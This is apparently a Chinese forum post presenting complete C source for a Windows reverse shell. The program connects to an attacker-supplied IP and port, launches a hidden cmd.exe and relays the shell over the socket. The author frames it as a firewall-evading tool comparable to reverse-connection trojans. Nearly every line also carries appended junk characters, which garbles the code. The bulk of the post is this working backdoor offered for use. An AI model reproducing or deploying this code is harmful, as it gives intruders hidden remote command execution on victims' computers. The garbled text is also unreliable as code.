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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 \~1+T  
F+r6/e6a  
/* ============================== \Nyxi7  
Rebound port in Windows NT l'f!za0  
By wind,2006/7 !+l, m8Hly  
===============================*/ TC}u[kM  
#include xq*yZ5:5Jo  
#include B 1.@K}  
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#pragma comment(lib,"wsock32.lib") cK@K\AE  
#<3\}*/  
void OutputShell(); l!'iLq"K(  
SOCKET sClient; )j*qGsOg  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; :UciFIa  
["/x~\c'N  
void main(int argc,char **argv) ,FO|'l  
{ "G(/MT^C  
WSADATA stWsaData; =LzW#s=O  
int nRet; 06;{2&ju<  
SOCKADDR_IN stSaiClient,stSaiServer; 31Du@h8YX  
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if(argc != 3) I{bi3y0  
{ @SXgaWr  
printf("Useage:\n\rRebound DestIP DestPort\n"); g H.^NO5\'  
return; rP_)*)  
} 2G;d2LR:  
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WSAStartup(MAKEWORD(2,2),&stWsaData); y9<Fv|Ric  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [X]o`  
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stSaiClient.sin_family = AF_INET; $Yc9><i  
stSaiClient.sin_port = htons(0); ^f]pK&MAmN  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); WLb7]rCTp  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) }hxYsI"d  
{ 5Bk  
printf("Bind Socket Failed!\n"); 2Mp;/b!  
return; fOAb?:D  
} ny}utO  
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stSaiServer.sin_family = AF_INET; sqRuqUj+  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 6 H.Da]hk  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); y 6< tV.  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) #u^d3 $Nj  
{ 39#>C~BOl  
printf("Connect Error!"); 471}'3  
return; *uR'eXW  
} cB^lSmu5  
OutputShell(); Gx($q;8  
} Sq%R  
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void OutputShell() *fZ'#C~x  
{ g.Q ?Z{  
char szBuff[1024]; |1R @Jz`  
SECURITY_ATTRIBUTES stSecurityAttributes; > { Q2S  
OSVERSIONINFO stOsversionInfo; 3&f{lsLAC  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 8pk">"#s  
STARTUPINFO stStartupInfo; ;p8xL)mUP  
char *szShell; >{Djx  
PROCESS_INFORMATION stProcessInformation; Sb.;$Be5g  
unsigned long lBytesRead; J%'|IwA  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); wW~2]*n  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); fsoS!6h0k  
stSecurityAttributes.lpSecurityDescriptor = 0; SbY i|V,H  
stSecurityAttributes.bInheritHandle = TRUE; ;7}*Xr|  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); }J1#UH_E  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Tec6]  :  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); c9V'Zd#  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {1[8,Ho  
stStartupInfo.wShowWindow = SW_HIDE; %O k.XBS)  
stStartupInfo.hStdInput = hReadPipe; vHmn)d1pl  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; b.(^CYYQ  
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GetVersionEx(&stOsversionInfo); `fXcW)  
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switch(stOsversionInfo.dwPlatformId) O#g31?TO  
{ lf 3W:0 K  
case 1:  OxRzKT  
szShell = "command.com"; 2\ n6XAQ*  
break; qW*)]s)z  
default: G8VWx&RE  
szShell = "cmd.exe"; !WN r09`  
break; }tN"C 3)@  
} Flsf5 Tr0  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); TD<.:ul]  
3 }XS| Y  
send(sClient,szMsg,77,0); 0:nyOx(;  
while(1) $|KbjpQ  
{ 38 F8(QU{  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); C'Q} Z_  
if(lBytesRead) NR" Xn7G  
{ hz!.|U@,{<  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); {dDU^7O  
send(sClient,szBuff,lBytesRead,0); Q =Z-vTD+  
} j1)w1WY0@  
else :7gIm|2"]  
{ {8eNQ-4I  
lBytesRead=recv(sClient,szBuff,1024,0); _:J! |'  
if(lBytesRead<=0) break; q4{ 6@q  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); yd $y\pN=<  
} K\#+;\V  
} h1xYQF_`Z  
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return; ==& =3  
}
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